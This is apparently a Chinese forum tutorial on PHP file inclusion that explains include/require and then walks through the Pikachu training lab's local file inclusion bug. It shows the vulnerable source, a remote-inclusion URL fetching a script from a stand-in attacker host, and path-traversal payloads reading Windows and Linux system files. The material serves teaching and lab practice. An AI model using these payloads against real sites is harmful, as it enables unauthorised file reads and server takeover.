文件包罗漏洞: 函数,实例[pikachu_file_inclusion_local]

打印 上一主题 下一主题

主题 1088|帖子 1088|积分 3264

文件包罗

文件包罗是一种较为常见技术,允许程序员在不同的脚本或程序中重用代码或调用文件
主要作用和用途:

  • 代码重用:通过将通用函数或代码段放入单独的文件中,可以在多个脚本中包罗这些文件,避免重复编写相同代码。
  • 模块化设计:文件包罗支持模块化编程,有助于将大型应用程序分解为更小、更易于管理的模块。
  • 功能分离:将不同的功能实现分离到不同的文件中,使得代码结构更加清晰,便于维护和更新。
文件包罗简单示例

使用include函数,在代码中引用html头部和尾部标签,实现网页的编写
  1. index.php
  2. <?php
  3. // 包含头部文件
  4. include "header.php";
  5. // 页面的主要内容
  6. echo "<h1>欢迎来到首页</h1>";
  7. echo "<p>这是一个示例页面。</p>";
  8. // 包含尾部文件
  9. include "footer.php";
  10. ?>
复制代码
html头部文件
  1. header.php
  2. <!DOCTYPE html>
  3. <html>
  4. <head>
  5.     <title>示例页面</title>
  6.     <meta charset="UTF-8">
  7.     <script src="script.js"></script>
  8. </head>
  9. <body>
复制代码
html尾部文件
  1. footer.php
  2.     </body>
  3. </html>
复制代码
PHP常见的文件包罗函数

函数用法介绍主要用途include()include 'filename.php';包罗并实行指定文件。如果文件不存在,将产生警告,但脚本会继续实行。用于包罗那些可能会重复使用的代码文件,如配置文件、库文件等。require()require 'filename.php';包罗并实行指定文件。如果文件不存在,将产生错误,脚本会终止实行。用于包罗那些对脚本至关紧张的文件,如初始化脚本。include_once()include_once 'filename.php';如果文件已经被包罗,则不会再次包罗。实行结果与include()相同。用于包罗那些在整个脚本实行过程中只需要包罗一次的文件。require_once()require_once 'filename.php';如果文件已经被包罗,则不会再次包罗。实行结果与require()相同。用于确保关键文件在整个脚本实行过程中只被加载一次。require_all()*require_all 'directory/';不尺度:递归包罗指定目次下的所有PHP文件。具体实现可能因情况而异。  文件包罗漏洞

原理

当网站引入了代码或程序,且并没有对来源举行严格的校验时,就可能产生文件包罗漏洞
漏洞类型

1.当地文件包罗:网站包罗当地服务器文件
        危害:敏感文件泄漏
        url示例:http://example.com/page.php?file=info.php
2.远程文件包罗:网站包罗远程服务器文件
        危害:引用外部木马文件,服务器窃取
        url示例:http://example.com/page.php?file=http://attacker.com/remote.php
攻击流程

<1.探求可能存在该漏洞的网站,如url中携带[file,file=http,FileName]等参数的网站
<2.更改文件引用路径,尝试读取当地文件,或引用外部服务器文件
<3.尝试使用伪协议实行下令,或查找文件

漏洞实例

当地文件包罗[pikachu_file_inclusion_local]源码讲解
源码解读
  1. if(isset($_GET['submit']) && $_GET['filename']!=null){
  2.     $filename=$_GET['filename'];
  3.     include "include/$filename";
  4. }
复制代码
1.判定前端通报参数,中是否存在submit参数,并且filename参数值为非空
        <1 使用isset函数查抄变量是否存在且非空
        <2 使用比力运算符 != 判定参数filename的值不为空
        <3 使用 逻辑与  && 将上述两个条件表达式举行拼接
        <4 条件表达式同为真(true),实行if内的代码块
2.创建变量filename接收前端参数filename的值
        <1 创建变量filename接收前端filename的值
3.将其拼接进include路径下,并使用include举行包罗
        <1 将获取到的变量名拼接入,当前路径下的include文件夹路径下
        <2 PHP表明器在实行include语句时,解析字符串中的变量,并用变量的值举行替换
        <3 如果文件存在,会举行读取并显示

攻击流程
1.探求攻击点
  1. fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4
复制代码

更改不同选项提交,参数filename的值随打开不同的文件,举行切换
2.更改携带参数观察页面状态
此处显示报错,并回显得出信息。
<1>windows体系
<2> 网站目次:F:\php-study\WWW\pikachu\pikachu\vul\fileinclude\fi_local.php

3.读取体系文件,并在无报错回显情况下,查询信息
原理:(../)可以查询上级目次下内容,且如果多个连用时可以忽视目次层级举行文件查询
windows体系配置文件:../../../../../windows/system.ini

 linux内核信息文件:../../../../../../../../../../../../proc/version

#如果没显示,尝试多写几层
 







免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

笑看天下无敌手

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表